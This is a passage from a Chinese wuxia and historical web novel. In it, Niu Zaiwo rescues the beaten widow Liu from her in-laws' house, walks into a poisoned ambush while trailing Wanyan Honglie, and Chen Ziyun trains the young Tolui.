我也怕是里面出了什么事,本来一个女人家单独住着,肯定不如在我家的时候,老婆子虽然没用,但起码也是可以有个照应,如今这孤孤单单一个人……” 李大妈自己刹住了话头,转了个眼色继续道。 “我就拿了放在我这里的钥匙自己开了门,这里里外外的找了一圈也不见人影。 这是破天荒了,我就在她那里坐着等了一会儿,可这都快晌午了也不见人回来,这对一个女人家来说,肯定是出事了啊。” “只是这样吗?” 牛在我问道,同时他提着的心也放下不少。 “牛小哥诶,怎么能说就这样,你一个大男人家的自然是不把这当回事,可柳夫人是女人呢,还是个寡妇,俏寡妇。” 李大妈哆哆嗦嗦的指着牛在我的鼻子说道。 “自古都是寡妇门前是非多,所以一个女人一旦成了寡妇,那这名声就是她唯一的指望了。 你见过哪个正经人家的寡妇,会这么无缘无故的出门不回的,肯定是出事了,哎,真是急死人了。” 牛在我默默无言,他在陈子云的教导下长大,虽然陈子云没有直接给他灌输什么过于超前的思想,可他向来都把自己的先生作为此生的偶像,在不知不觉间模仿着陈子云的言行举止。 而不经意间,陈子云身上流露出来的那种对女性的尊重也被他学了一二,所以在牛在我的眼中,从来就没有把柳夫人看成是一个寡妇而区别对待过。 在他看来,只要不是那些自甘堕落的女性,就是值得他尊重的对象,就算是寡妇再嫁也是理所应当,不存在女子必须要为亡夫守节的说法。 “到了到了,你赶紧进去看看,看看她回来了没有,真是的,老天保佑,这可怜的人啊,柳夫人呢。” 李大妈的嘴里已经出现了哭腔了,朝着半敞开的门内呼喊着。 牛在我一个健步迈进了房门,一眼扫遍了半个院落,客厅、厨房、甚至在柳夫人的卧室门口也瞄了一眼,确实不在屋里,而且根据厨房的情况看,对方必然是在午饭之前就出门了的。 “不在。” “哎呦喂,苦命的人呦。” 李大妈一把就瘫坐在了院子的石凳上,双手拜天的冤屈状。 牛在我摸索着自己的左手的拇指跟食指,这也是他从陈子云那里学来的习惯,每次有重大的思考的时候,这样做能让他更加的集中精神。 “看屋里的情况,没有什么破坏的痕迹,应该是柳夫人自己出去的。但是厨房那里还有提前净泡着的米,那就是说,柳夫人出去前是预计能在做午饭之前回来的。 而现在这个时候,显然是过了饭点了,那也就是说对方是在外面办事耽搁了,或者是被人……” 牛在我停下了思索朝着李大妈问道。 “李大妈,柳夫人可是有什么经常去的地方吗?” “经常去的地方,一个女人家的,能去哪里,无非就是买些柴米油盐。她又是嫁过来的,丈夫……” 李大妈突然顿住了。 “对了对了,她肯定是去她那死鬼丈夫家了,这该死的臭杀猪的,她那恶毒的婆婆不仅把人赶出来,还不给她活命的钱财,非要每隔十天去拿。 可这哪里是拿,分明是想让他上门去求的。本来就是他们家儿子自己命不好,非要说是被这可怜的女人克死的。 不允许她再嫁,还不给她在家,每隔十天都要让她自己送上门去,听那恶毒婆婆将最难听的话都讲一遍。” 李大妈说着说着就自顾自的擦起眼泪来了。 “上门,要钱吗?” 牛在我呢喃着。 “呸呸,牛小哥,你可别说的这么难听,柳夫人自己不到万不得已才不会去那里呢。 你上次搬家的时候也应该看到了,她别的东西不多就是手上的绣活多,她自己那么勤快的绣花不就是为了养活自己,好不再被那恶婆婆纠缠吗?” 李大妈不满的瞥了陈子云一眼说道。 “可这日子也不对啊,我记得柳夫人上次跟我说起,她已经有把握不再向那边要钱了,说是接到了一户大户人家的绣工。 有位奶奶对她的手艺很看好,给了她好些的活计,足够她花销好一阵子了,这怎么又会,不对,肯定是我想错了。 也许是别的事情,也许是被强人给…… 啊,苦命的人恩。” 李大妈又开始哭嚎了。 第三百五十五章 生意 “诶。” 牛在我如何能让他关门,直接一只手就搭在了门沿上,让那看门小童不管如何用力,都不能再将门扇闭合分毫。 “赶紧去通报,就说有大买卖上门了。” “你……你……” 小童被牛在我吓得话都说不清,连忙就往屋子里跑去。 “老爷老爷……奶奶……奶奶……” 那慌不择路的样子,仿佛是遇见了强人要抢劫他似的。 牛在我没当什么谦谦君子,他今天本来就是恶客上门来的,自然也不会在门口乖乖等着,反而是直接推开门,自顾自的就往里走。 不过牛在我走的并不快,一边打量着房子里的构造,一边缓步前行,他要让那小童将这里的主人家都唤出来才好,省的他还要浪费时间去找。 在经过一个小院的时候,一股难闻的血腥气混合着猪骚气的怪味从里面传来,看你这院子里头那湿漉漉的地板,以及那永远也难以洗干净的血渍,牛在我就知道,那里必然就是毛屠夫杀猪的地方了。 再拐过一个弯,就碰到了那个童子领着一个肥头大耳四十来岁的中年男子出来了。 那男子一只手上把玩着两个好似玉石做成的小球,另一只手在前面拎着快拖到地面的衣服褂子,要不是长期杀生身上除不去的那股子凶悍,确实已经是个知道享福的老爷人物了。 那童子看见了牛在我不请自来,气愤的指着,在那中年男子的耳边气急败坏的说着什么。 “毛老爷,在下姓牛,是来找老爷谈一笔大生意的。” 牛在我主动上前,在毛屠夫开口之前率先摆出了笑脸。 毛屠夫打量着牛在我,看他衣着不过是街面上最常见不同人家,可观对方的神情举止却不是一般人家所能有的。 这让自问在市场里练了二十年,并引以为豪的看人本事落到了空处,难道是那个大户人家里的小厮? 必然是了,这般的神态自若,这般的气派非凡,肯定不是小门小户里出来的,于是毛屠夫赶紧操着练了许久的半官话道。 “敢问这位小哥,主家是哪位老爷?” “我家老爷的名讳,恐怕毛老爷也未必听过,不说也罢,这次来找毛老爷谈生意,在下可以全权做主的。” 牛在我道。 “哦,如此也是好的,李生,还不快去泡茶来,有贵客到怎么能如此怠慢,没点眼力劲的东西。” 毛屠夫眼珠子微微在那到眯成细缝的眼睛里转了两圈,随即透过眼角朝那位童子瞥了一眼,带着不满的吩咐道。 “牛管事,里面请,到厅里喝茶,具体的事情咱们坐下来慢慢谈。” “如此就多谢毛老爷了。” 牛在我歪嘴一笑。 “哪里哪里,自己人,不需要客气,来来来,尝尝我托人从南边带回来的好茶叶,正宗武夷山出来的好货色,哈哈哈。” 毛屠夫拍着自己的滚圆的肚子,满腔豪气的说着。 “哦,那就托毛药业的福了,这样的好东西可是难得的。” “哈哈哈,也就是南边的朋友的够意思,非要给我来点,我又不好意思不收。” 当两个男人相互吹捧上了,不到片刻就能成为口头上的手足兄弟,至于说在相互往对方背后捅刀子的时候,会不会想着要加钱,那就难说了。 两人胡乱掰扯的闲聊了几轮,又把那所谓的好茶都喝的没了味道,毛屠夫终于是忍不住了。 “牛老弟,你今天来的时候说的……” “哦哦,你看我,跟毛老爷您这一见如故,一聊就把正事给忘了。” 牛在我懊恼的拍拍自己的脑袋接着说道。 “是这样的,我家先生,哦,就是我家老爷。” 牛在我这是故意露出的破绽,显示出他跟那位不存在的陈老爷间的亲密关系。 “最近家里人口多了,这吃穿用度也就大了,想着找个专门负责供应家中肉食的大铺子。 这不就让我上菜场上打听来着,瞧瞧哪家的铺子里的肉最新鲜,场面最大,想来毛老爷也知道,这既然是做了长久的生意,自然是不会天天结现银的。 那我不得找个能垫付的起这十天半个月的肉钱的铺子,要不然对两家都不好,您说是不是这个理?” “不错,呵呵,牛老弟是个明白人。可千万别随便的就找人做这长供的活计,一般人家可不懂这些给大老爷干活的门道。 这一上来就打听些有的没的,做些上不得台面的事情,那到时候可就不好看了。” 毛屠夫装着沉着的模样,可手里的那对玉球却是已经不再转了,显然这养气的功夫只是在脸面上而已。 “不错的,毛老爷果然是知道这里面的门道的。我当时就跟我家陈老爷讲了,说要么不找,要找就要找个最好的,最少也是要能垫的起一个月的家里肉钱的。 这样两家处着才是个味道,要不然也就没意思,还不如多给厨房下手些赏钱,让他每天去菜场上跑就是了。” “就是这个理。” “可不就是么。而且家里时不时就要待客的,也不知道客人什么时候来,厨房里多多少少都是要备着些肉食的,总不至于老爷夫人刚好留了客人下来用餐,却发现厨房里的肉食不够招待,还要临时差人去买的,以至于耽误了用饭的时辰,这不是就让人闹笑话吗。” “不错的,不错的,不应该啊。” “就是,怎么着也不能为了每个月这百八十两的银子,让老爷夫人丢了脸面不是。” “是的,是……百……” 毛屠夫终于不能随口跟着牛在我的话应承了,他杀了半辈子的猪了,也没见过哪家一个月就要用掉百八十两的猪肉的,就算是那位贵人的府上,也不过是三十两左右的月供而已,这还要加上各个相关主事人的油水呢。 “当然,这是我报给我家老爷夫人的账单,毛老爷不会不懂?” 牛在我拿起茶碗在面前轻轻的揩着浮沫,眼睛不经意的往毛屠夫那边瞟着。 “哪里,哪里,自然是知道的,知道的。” 毛屠夫根据这庞大的卖肉的数额,似乎意识到这位牛老弟背后的家宅是多么的豪华了,地位可能是多么的崇高,顿时那种市场里混出来的自卑又重新上了身。 第三百五十六章 找到人 “不过毛老爷也不用多想,我家老爷府上,大大小小的的人口就不下百人,一天一头猪的量也是正常的,要是有个什么宴请,怎么算,一个月下来也都有个40头猪的消耗。 这其中你有多少的利润就不用我这个外行算给你听了?” 牛在我微微侧着头,弹弹膝盖上不存在的灰烬缓缓说道。 “自然,自然,明白的,明白的。” “好,明白就好,我看毛老爷是个聪明的,我就喜欢跟聪明人打交道。” “牛老弟,不,全靠牛老爷栽培了。这个,这个……呃,呵呵……” 毛屠户腆着脸往牛在我的座位凑了凑,小心翼翼的问道。 “不知道这个油水抽成,牛老爷是怎么……” “俗气。” 牛在我故作生气的哼了一声。 “诶!” 毛屠夫浑身的肥肉都跟着一抖。 “这个怎么能是抽成呢,这是给伙计本的辛苦钱。毛老爷这上好的猪肉可不是那些菜场里的货色能比的,那这好猪肉自然是来的不容的,这贵一些,也是应该的。 再说了,我手底下也养着人呢,这些人跑断腿一个月就那么几个列钱,哪里够花销的,就不能犒劳犒劳,皇帝还不差饿兵呢,您说是不是这个礼?” “是的,自然是的。别的不敢说,但是这肉啊,老毛我……“ 牛在我挥挥手,打断了毛屠夫的自吹自擂。 “这不重要!” “啊?” “我家夫人向来心细,不单每个月都要与我对账,而且会随机抽取几个给家里供货的商家来验证,不单是口头的对账,还要必须准备一本收支的账本。 所以这每个月的肉钱我都必须先给到你,还要做好账目,至于后面毛老爷愿不愿意犒劳一下兄弟们,那就都是老爷您的心思了。” 牛在我语气很是不在意的说道,好像那一个月几十两的平白收入完全不放在他的眼里。 “啊,这是自然,自然的。” 毛老爷嘴上自然是忙不迭的答应着,可心里却在算计了,这牛在我一没透露猪肉到底的采购价钱,又没说好这抽头的具体比例,加上还要做明账,这账目一做,可就是要向官府交税钱的。 这里里外外的,一下子让他那善于动刀子杀猪的手,怎么也算不过这需要脑子来配合的账目来。 这生意可不小,一个月百来两的进账,按正常的猪肉买卖算你,毛利怎么也该有个二十多两,要是再把那进货的成本压压,就是三十两也是可能的。 可不确定的抽成加上不确定的税,让毛屠夫怎么都算不过来了,这些事情他向来都是靠自己那位精明老婆的。 “毛老爷,怎么您这是不接我家这生意?” “怎么会,怎么会,其实不怕牛老弟你笑话,这算账的事情啊,一直都是我家婆娘在做,既然老弟家有这样的要求,那我自然是配合的,我这就去找我家婆娘商量。” 毛屠夫说着就站起身来。 “不用这么麻烦,我们一起去便是了。” 牛在我毫不客气的就跟上了。 毛屠夫先是一愣,可随即想着也好,有些细节他也怕交代不清楚,到时候还要来来回回的问。 至于说什么外客不该进内室,他们家本来就是商户人家,哪里来的这么多规矩,本来在菜场里卖猪肉,就是他负责杀,老婆负责算账的。 一进后院,就看到一块块染着血色的围裙被晒在一堆同样不怎么干净的衣服中,这就是屠户之家的本色,就算是有了这样的宅院,依旧是换不了他们生活的底色。 “夫人,夫人呢,有贵客来了。” 毛屠夫嚷嚷着。 “来了,来了,你大白天的鬼叫什么。” 一个尖嘴猴腮的中年妇人,没有从正中的主卧里出来,却是从旁边的一间好似柴房里头钻出来的。 就在她开门的瞬间,牛在我就找到了他来此地的目标,柳夫人的侧脸从门缝里一闪而过,而且脸上有明显的被殴打的痕迹。 牛在我心里瞬间就被揪了一下,也不管毛屠夫的惊讶,自顾自的往那柴房里走去。 “牛老弟,这位就是我内人了,小姓……” 毛屠夫笑盈盈的介绍着,他见牛在我正往自己夫人那边迎过去,还以为是迫不及待的在表示客气呢。 “哎呦,这位是……” 毛夫人一边在那张丑脸上挤出一个难看的笑容,一边还煞有其事的整理着衣衫,她刚才还在柴房里教训那个克夫命的小贱人,这会儿终究是有些不得体,要见外人自然是要整理一番的。 牛在我抬起手,缓缓举到胸前。 毛夫人以为他是要向她行礼连忙客气道。 “哎哟,不敢……当。” 一根手指在毛夫人的左肩胛上一点,随即她整个人就瘫软在地了,除了眼珠子还在转,浑身上下都没一个能动的地方。 “哎,夫人,夫人,你这是怎么的了?” 毛屠夫赶紧上前查看,虽然平时他嫌弃自己的这位母老虎对自己过于严苛,但是见她此时这般像是瘫了一般,又是心紧的很。 “牛老弟,牛老弟,你去哪里,赶紧帮我看看,我夫人这是怎么了?” 毛屠夫见牛在我还在向着柴房的方向走,不由得急切的问道。 可牛在我此时哪里还有心思理会他,推开柴房的门,也顾不得那个伤痕累累的柳夫人的惊恐,一把就把对方拦腰抱起。 “你……” “先让我把你带回去再说其他。” 牛在我这是第一次对柳夫人表现的这般霸道。 “夫人,夫人呢。” 毛屠夫六神无主的在那里东弄弄,西瞧瞧,对自己夫人这般突然的怪异情况是不知如何是好。 “柳氏,你怎么在这里,你的伤?” 看到牛在我抱着自己的儿媳妇从柴房里出来,毛屠夫先是一愣,随后被柳氏身上的伤给吓住了。 不说还好,本来柳夫人强忍着的泪水终于是绷不住了,啜泣着转过脸,不让自己的那位公公看见自己的狼狈样子。 “这就要问问尊夫人了。” 牛在我厌恶的瞥了那个躺倒的丑夫人一眼说道。 “我夫人?你是说柳氏身上的伤是我夫人打的?” 毛屠夫像是很惊讶的看了一眼牛在我,又看看自己的夫人。 沉默,除了那对还在使劲转动的眼睛,几人一时都没有说话。 第三百五十九章 跟踪 不错,他刚才是被牛在我那匪夷所思的能力所震慑了,可他也不是以前那个只在城南菜场里杀猪卖肉的屠户了,他如今可是在给大人物供货,也算是见识过场面的。 不就是会武功吗,他在那大户人家的厨房里,跟厨房管事喝酒聊天的时候,也听说过了的,他们家的老爷手底下也养着一帮有奇功绝技的高手。 有能滴水成冰的,有一跃两三丈的,甚至还有头上长着犄角的,可是厉害着呢。 “当家的?” 丑夫人见自己丈夫不理会自己,有些急切的推搡了他一把。 “哼,欺负到我们头上来了,怎么能就这么放过他,要是不报复回来,那以后不是所有人都能来他们头上拉屎!” 毛屠夫双手一撑地面,就从地上站了起来,收回那把掉在地上的杀猪刀插回自己的后腰。 “当家的,你这是做什么,那人可是会妖术的。” 丑夫人想到自己刚才不知道怎么的就浑身动弹不得,想起来终究还是有些后怕。 “别胡说,不是什么妖术,是武功,我是见识过的。” 毛屠夫自然是没有见过,他倒是听人说过,但是在自己这位母老虎面前自然是要给自己立的伟岸一些的。 “真的?” 丑夫人有些惊讶的问道,这个向来对她言听计从的家伙,难道还有这样的本事。 “哼,就在那位大人的府上,有好几位神仙一般的人物,肯定比他厉害。” 毛屠夫见自己的夫人不信,连忙把那位高不可攀的人物给抬了出来。果然,他这么一说,丑夫人立刻就露出了原来如此的表情。 “可那样的人物,会给我们出头吗?” 丑夫人又有些不确定的问道。 毛屠夫一时也沉默了,虽然他在自己夫人面前会强撑着面子,可他心里也明白,自己不过是个杀猪的,能跟贵人府上搭上关系的也就是那位厨房的管事了,又如何能请得动那些高来高去的神仙人物。 “早知道会这样,要不如早早的带着儿子跟着大伙儿回南边去呢,说不准儿子还能好好活着,我们也有个养老送终的……” 丑夫人似乎是悲从中来,将心中的悔意都不停的往外宣泄着。 “南边?不错,对了,南边,夫人,有了,有办法了,这下定有人来收拾他们了。” 毛屠夫睁大了他那双眯缝着的小眼,一双充着血丝的眼睛绽放出得逞的光芒。 “什么?” 丑夫人不明所以的望向自己的丈夫,不理解为何提到自己死去的儿子,对方不仅没有悲伤,反而是这样的兴奋。 “嘿嘿,你说如果我向那位贵人报告,就说刚才那人是南边来的,是来打探汴京虚实的,你说他们会怎么对付这小子?” 毛屠夫眯着眼说道。 “你是说,污蔑他是……呸,看他那穷凶极恶的摸样,肯定就是南边来的,该死的探子。” 丑夫人连忙纠正了自己的言语。 “不错,你赶紧给我准备些礼物,我这就去拜访厨房的郑管事,我要通过他先给那位大人通通风,要是需要我们出面作证,到时候我们就咬死了,这小子就是南边来的。” 毛屠夫说着把牙一咬,这是他杀猪时碰到那些不安分受死的畜生,需要他极力按住猪头时才有的表情,这也说明了,他是下了决心要把牛在我往死里整了。 …… 牛在我此时还不知道,本以为能简单就处理好的事情,会引出后面的这些意外,竟然有人动了要将他以间谍罪名拿下的心思。 这就是真的巧合他妈给巧合开门巧合到家了,他不但是南宋的间谍,还是间谍头子,自己要是进了金国的视线,那他好不容易组建起的情报网络就又要没了。 牛在我此时还没有丝毫觉察到危机的来临,他把柳夫人直接抱到了自己的家里,顺便通知了李大妈过来照顾她。 自己终究是男儿身,男女有别,而柳夫人身上的伤势不脱衣服肯定是无法处理的,他可不是那趁人之危的货色。 “哎呦喂,这是哪个杀千刀的下的狠手呦……” 李大妈一看到狼狈的柳夫人就不管不顾的骂起了街,作为一个半职业的媒婆,嘴巴里的词汇可是积累了不少的,夸奖人的自然是有的,可这骂人的难道会少吗! …… 将柳夫人交给李大妈照顾,牛在我也就将心思放回关于完颜洪烈的的身上了,六王爷府那么大的场面,倒是也不怕对方能神不知鬼不觉的消失,毕竟这一场谈判也不是靠完颜洪烈一个人就能完成的,必然是要一整个谈判小组参加。 根据惯例,这种大型的涉及两国军政的谈判,自然是必须要有相关负责军事以及政府的高级别官员到场的。 就算不会是直接排除六部的首脑但是副手肯定是要出一个的,要不然就算是金章宗也担心万一完颜洪烈把金国给卖了,他找谁说理去。 白天牛在我依旧如无其事的出摊,晚上却是做起了梁上君子,六王爷府上高手不少,除了牛在我自己没有人能保证不被对方察觉。 就算是他,也只敢在外围巡查侦探消息,至于完颜洪烈的书房卧室,他是不敢贸然靠近的,那只能是打草惊蛇。 七天之后,完颜洪烈的大部队终于是离开了汴京,同时消失的当然还有牛在我,他给出的借口是要去南边置办一些器具。 这倒是正常的,虽然宋金两国战事不断,但是两国之间的商贸却是从来都没有中断过的。 而牛在我平时也会用这样的理由离开家里一阵子,回来的时候拿一些率先准备好的的南宋物件就是了。 久而久之,邻里街坊还会让牛在我帮忙带些南宋的特产回来,自然也就不会再怀疑他的行为会不会有什么不妥的地方了。 远远的吊在完颜洪烈队伍的后面,饿了就掏出准备好的干粮啃几口,水就直接找附近的水源解决,这样的生活对牛在我而言早就习惯了。 只是这次与以往不同,他每次从怀里掏出干粮的时候,总是会不自觉的摸一下那个他宝贝似的藏在怀里的小荷包。 第三百六十一章 陷阱 “起开。” 牛在我没有跟两人纠缠的意思,直接震力开声,将两人赶到一边,直接朝着那个已经跑出十几米外的锦衣人扑了过去。 以牛在我的身法,十几米的距离不过是几步而已,他有信心只要自己能靠近到三步之内,就一定能一击必杀。 可还不等牛在我靠近,几枚粹着剧毒的蓝色毒针已经来到了他的面前,可现在他也不用再避让了,直接将左手的石板往旁边一挥,就将那些毒针尽数都挡在了外面。 “死来!” 右手的石板用尽全力的一挥,直接将石板当做了暗器给砸了出去,带着怒吼朝着那锦衣的背影而去。 “小心。” 那发毒针的汉子将那锦衣人往旁边一推,手中的几枚毒镖又发了出来。 石板擦着那人的脊背,将旁边护着他的几个军士给砸了半死。 牛在我让过毒镖,又用石板与追上来的两人对了一招,借着他们的力道朝着跌倒在地的锦衣人更近了几步。 “呵哈!” 牛在我聚力于掌心,将手中残存的几块石板的碎片一股脑的朝着那锦衣人打去,只要其中的一枚碎片能打中,牛在我就有足够的信心让他命丧黄泉。 他虽然怎么都学不会小李飞刀的精髓,但是从他手中飞出的石块也绝不是一般人能扛得住的。 可就在石块即将临身之际,一件如天罗伞盖一般的衣服将牛在我打出的石块像网鱼一般,一股脑的收了进去。 “在老子面前耍暗器,真当我千手人屠,只会放不会收吗。” 原来是那个发毒针的短小汉子用自己的外衣将牛在我的石块给收了,能这般轻易的收拢他的石块,那件衣服显然是做过特殊处理的。 要是换做一般的普通衣服,早就被牛在我附在那石头上的力道给洞穿了,哪里会这般容易的就将他的石头给收了。 牛在我知道此时已经是到了最关键的时刻,如今已经有反应快的军士围过来了,此时要是再不能成,他就真的前功尽弃了。 让过那藏僧打来的毒砂掌,牛在我拼着用脊背硬挨了那五短汉子的一铁桨,一口血气在最终含而不吐,趁着那善使暗器的汉子还在收拾他的那件外袍,终于是欺身靠近了那锦衣人。 没有丝毫的犹豫,以手为刀,直接戳进了那锦衣人的后心。 “啊。” 那人发出了最后的哀鸣。 可就是这一声惨叫,让牛在我瞬间汗毛直竖,不对,找人绝不是完颜洪烈。 就算他还没看到对方的正脸,可一个王子出身,如今年贵为金国的六王爷,嗓子不可能这般的粗糙,这样的叫唤,只有那些底层出身,因为长时间的不吝啬自己嗓门的人才会有这样粗鄙的声调。 就当牛在我意识到不对,要扯手离开的时候,发现自己那一只直接插进了对方胸膛的手掌,已经被沾染上了一片紫色。 “有毒。” 牛在我在自己的心口四周乱点,止住了毒素往心脏流淌的渠道,虽然无法治本,起码能拖延毒发的时间。 可既然这人不是完颜洪烈,对方又以自己身藏毒来暗算他,那么刚才那三位又如何会放过这么好的机会,难道这个陷阱布置的如此精致,不就是在等他上钩吗,又如何能轻易放过他。 最先来的自然是离他最近的那位,没有发出毒针,而是在双掌的手指缝隙之间夹满了毒镖朝着他的上下两路同时打来。 那个持铁桨的汉子,已经跃起,从上往下,抡圆了铁桨就往牛在我的头顶砸来。 剩下的那个藏僧则是攻他的后背,一双毒掌如今更是红的发紫,腥臭之气就是离着步的距离也能闻到。 牛在我顾不得右手已经被毒素麻痹无力,咽下刚才含在喉头的那口鲜血,用鼻子深深的吸进一口空气,张口发声。 “吼……恐……” 整个营地都充斥着牛在我犹如呼啸的巨大声响,那些刚才还朝着他围攻而来的三人,刹那间本能的抱头后退。 面对这样的声浪,但凡他们迟疑片刻,就会被生生的震聋耳朵,就算是他们已经在第一时间后退,一样被震的脑袋发昏,两耳之间都是嗡嗡声。 牛在我自己也是吐出一口鲜血,踉踉跄跄的往外边窜出去。 这虎啸的功夫,是陈子云根据黄药师操纵音波的本事,再结合狮吼功创造出来的。 他虽然没有学过真正的狮吼功,但是声音震动的原理毕竟还是懂的,要用音波伤人,声音不过是吓唬人的东西,同步震动才是关键。 所以他这虎啸功,不求声音多大,关键是要变频,将各个频率的震动直接打进人的身体里,不仅要直接损害对方的耳膜,就是内脏器官也要损伤。 当然,牛在我此时的水准还达不到那个层次,不过也够那几人喝一壶的。 牛在我踉踉跄跄的逃出了营地,但是后面已经是灯火通明了,一队队的人朝着他这边搜寻来。 不用想,这里压根就是一个摆好阵势等他跳下来的陷阱,估计完颜洪烈都不在这里,要不然他们也不敢将这些人都派出来搜寻自己。 难道是自己暴露了,不对,以他的轻功修为,跟踪这些人不可能被发现,就算是那三个人中轻身功夫最好的,也就是那个发毒镖的也绝不是他的对手。 那么会是哪里出了问题,难道是自己招募的那些人手将自己卖了,或者只是不小心被对方发现了。 还是对方不过是随手设下的陷阱,并不是针对自己,而是守株待兔,就等着有人往坑里跳进来而已。 如果真是如此,那他也真是倒霉透顶了。 又一口鲜血要从喉咙中反上来,强忍着咽下,他此时已经将右手割开了一道口子,好将毒血放出了一些,又吃了一颗九花玉露丸,抑制毒素蔓延的同时还能恢复一些内力。 撤退的路径是早就规划好的,就算牛在我再自信也不会犯自大的错误,只要他能到达那条河流附近,就能乘着水势而下,不管对方有多少人围上来,也不可能在河中找到他。 “这些人还真是狗鼻子,怎么追的这么紧。” 牛在我看着三队人马,举着火把就往他这边靠过来,一时郁闷至极,他现在要走的方向,恰好就被对方给堵住了。 好像对方知道自己留的后路似的,牛在我皱着眉头,越想越不对劲。 牛在我随手从旁边拔出几根野草,在手里转了两圈,搓成了粗糙的绳子将自己的右臂上端绑住,阻止血液的上流。 可这也不过是应急而已,要是自己逃不出对方的围剿,那再怎么治疗伤势也是无济于事。 第三百六十二章 危险 牛在我深深的吸了一口气,他要压住体内躁动不已的血气,控制好呼吸,以达到将毒素压制到最低的目的。 他现在已经感觉自己看东西有了重影,视角换的快些甚至会头晕,这就是毒素已经影响了他的大脑。 按照陈子云教他的,这种时候,最好就是待在原地不要动,等待救援,要是被人在这个时候追上了,那就直接束手就擒,千万别学什么历史上的那些义士。 非要搞什么英勇就义,好像活下来就对不起父老乡亲,非要死了才能体现自己的壮烈。 愚蠢,这样的死亡不过是亲者痛仇者快而已,留着有用之身,就算是背负着不理解与谩骂,在所有人的鄙视中活着的人才是真正的勇者。 而能背负着自己的使命,为了昔日的耻辱而复仇的人,才是真正的英雄。 活下去是第一选择,这世间庸庸碌碌的人是大多数,能有雄心抱负的已经是少的可怜。 而有雄心又有几分才华的就是凤毛麟角,而像他牛在我这样的,就算是死了一座城的人,也不够换他一条命的。 只要活下来,陈子云就有办法救他。 当时牛在我听到自己先生这般的有些过于的夸赞自己的时候,是红着脸点头的,因为没办法,要是当时不答应,陈子云是绝不会放他出来的。 “那就想办法活下去。” 牛在我伏低身子在草丛间穿梭,朝着那条映像中的存在着的小河而去。 …… 在蒙古草原一处离铁木真部落不远的一个算是隐蔽的山谷里,陈子云端坐在老黑的背上,一边给小黄梳理着毛发,一边指点着面前正在一拳一脚练基本招式的托雷。 少年托雷对这位犹如长生天一般神奇的师傅,既尊敬又害怕。起先托雷被陈在我那虚无缥缈的传音足足折磨了半个月,直到托雷独自一人寻过来,他才现身相见,而且是那种从天而降的方式出现在托雷的面前。 而陈子云随意的指点了托雷一招适合蒙古摔跤的把式,就让这个好动的少年在自己的部落里无敌手了。 在一群少年的玩伴中,更是都以他托雷为中心了,这种认可不单单是因为他是铁木真的儿子,而是因为蒙古人心中对强者的认可。 而随后,陈子云在之后展现出的文治武功更是让年少的托雷,拜服的五体投地,在他的眼中,就算是自己心中的无敌的父汗,也绝不会有这样神乎其技的本领。 陈子云也发现,这个自己别有目的才收下的徒弟,却展现出了惊人的天赋,不下于杨康的聪慧又有郭靖的专注,托雷要是生在南宋,早早的进了格物学院,陈子云甚至觉得,他一定会成为南宋将来的中兴大将。 “先生,这拳法有两招我总是抓不住要紧的地方,您帮我看看是不是有什么练的不对的地方?” 托雷说着又摆开一个架势,接着又换了一个,这招式很是寻常,唯一有些特殊的,无非就是在出拳与收拳的时候,拳头会往里转个半圈。 “错倒是说不上什么错的,只是你以前习惯的发力方式,与这样的发力方式刚好相反,所以你才会觉得变扭,等你什么时候习惯了如今的发力,那你的功夫就算是登堂入室了。” “多谢先生解惑。” 托雷拜谢道。 随后就又到一边,去细细的体会这种有背与他已经练了许多年的发力习惯,回味着他这段时间在跟部落里的其他人交手时体会到的变化。 托雷自然是识趣的人,虽然他现在练的变扭,但是这其中的好处,他是早就体会过的。 对于一个血气正盛的少年来讲,崇拜自身的武力是最正常不过的,何况还是在蒙古这般崇尚武力的地方,还是在铁木真的部落里。 如今那些人看到自己,不像是在看你以前的托雷——那是代表着铁木真儿子的荣光,而现在他们看自己眼光,只是在看托雷,一个压过他们的强者,真正能获得崇拜的人。 对于这样的变化,就算是聪明如托雷,也没法忽视,或者或是作为铁木真最小的儿子,如多么的渴望被部落里的人这般的认可,他在享受这样的目光。 这也是托雷即便猜到了陈子云是南宋的人,也毫不犹豫拜师的原因,不管自己这位送上门来的师傅到底是打的什么主意,他都要先把这本事学到手不可。 至于说哪天,自己这位师傅会不会站在他们部落的对立面,此时的托雷毕竟年幼还没有蒙古国家的概念,他只在乎自己的部落。 真到了刀兵相见的时候,自己最多就先还了师恩,然后再公平的与陈子云一战。 这也是他们蒙古人最常见的处理恩仇的方式,而且这些年托雷跟着铁木真征战草原,也见识过了这般类似的场景,本来的兄弟,或者安答为了各自的部落终于是拔刀相向。 托雷并不觉得这样的处理会有什么问题,一面是兄弟,而部落里也同样有自己的兄弟,还可能有父母,其他的亲人,那既然已经是战争了,那就让长生天来决定谁能活下来。 不用觉得对不起兄弟,也不用让父母为难,一战分生死,谁也不亏欠。 所以对于这些恩恩怨怨的处理,蒙古草原上的人总是比宋金两国的处理的更加利落。 托雷又打了一会儿,眼看头顶的太阳渐渐偏西,是回去的时候,他来这里的时候,只是说来打猎的,不能耽搁太久。 要不是铁木真上次收到他的大雕很开心,允许他每天外出来打些小东西,要不然这个时候,他还跟自己别的兄弟一样,被要求待在自己的营帐里不准外出呢。 对于一头受伤的狼王,手下的小狼安静的陪在旁边才是最好的,这个时候要是敢不听话,铁木真绝不会手软。 而对于托雷这个小儿子,自然是溺爱一些,而他每天带回去的一些小东西,也是以为铁木真补充营养的名义,自然是比那些只会嚷嚷着要报仇的鲁莽儿子更加讨喜些。 “先生。” 托雷靠近了些,跟陈子云示意自己要回去了。 陈子云倒是没怎么反应,只是自然的点点头,反倒是怀里的小黄,对着托雷一阵龇牙。 “嘿嘿。” 托雷露出两排牙齿,对着小黄笑笑,对于这只通灵的却怎么也不跟自己和睦的小狐狸,他也是有些郁闷的。 第一次见到对方,就被小黄龇牙了,当时就是陈子云也觉得郁闷。 第三百六十三章 差异 一开始还以为是因为托雷身上那种蒙古人固有的羊骚味让爱干净的小东西不待见了,可后面他才意识到,小黄的戒备绝不是因为那些。 应该是那股与身俱来的对于这苍生浩劫般的杀戮,让这通灵的小东西不喜。 要说蒙古铁骑造的孽,铁木真不过十之一二,后面他的这些子孙在欧亚大路上掀起的杀戮才是让天地都为之哭泣的存在。 说句夸张一些的话,以这个时代的人口算,几乎有三分之一的欧亚人口死在了蒙古人的祸患之下,不管是直接被杀死的,还是得了他们带过去的黑死病。 种族间的免疫隔离被打破,一场疾病要了一个地区三分之一的人命,虽然他们自己也损失惨重,可这个锅蒙古族人不背也不行。 “好了,没有发生的事情,总不能提前就怪他啊。” 陈子云按下小黄的脑袋,将他搂进怀里。 “你去。” 陈子云道。 托雷行了一个礼,转身去找他的坐骑去了。 